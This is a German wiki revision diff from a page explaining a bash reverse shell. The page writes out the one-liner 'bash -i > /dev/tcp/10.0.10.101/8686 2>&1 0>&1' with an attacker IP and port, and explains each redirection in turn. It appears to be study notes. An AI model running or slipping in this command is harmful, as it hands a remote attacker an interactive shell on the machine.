Version vom 13. März 2023, 19:33 Uhr

Angreifer

IP Angreifer 10.0.10.101

Öffnet eine interaktive Shell und leitet die Ausgabe den den Socket zu 10.0.10.101:8686

Legt den Fehlerkanal zum Standardausgabekanal

Legt den Standardeingabekanal zum Standardausgabekanal

@@ Zeile 7: / Zeile 7: @@
 ==Für mich besser lesbar==
 *bash -i > /dev/tcp/10.0.10.101/8686 2>&1 0>&1
 =bash -i > /dev/tcp/10.0.10.101/8686=
 Öffnet eine interaktive Shell und leitet die Ausgabe den den Socket zu 10.0.10.101:8686
+==2>&1==
+Legt den Fehlerkanal zum Standardausgabekanal
+=0>&1=
+Legt den Standardeingabekanal zum Standardausgabekanal
-====
-leitet die Standardausgabe und den Fehler auf den Socket um, der für die IP 10.0.10.101 geöffnet ist, die auf Port 8686 lauschen würde
-=0>&1=
-Man kann es auch 0<&1 schreiben. Dies würde buchstäblich bedeuten, dass "0" an "1" angehängt ist, was bedeutet, dass stdin an stdout angehängt ist, und aus Punkt 2 wissen wir, dass die stdin für diesen Bash-Prozess für den Angreifer verfügbar ist, der Port 8686 abhört.
 =Prinzip=
 {{#drawio:backdoor1}}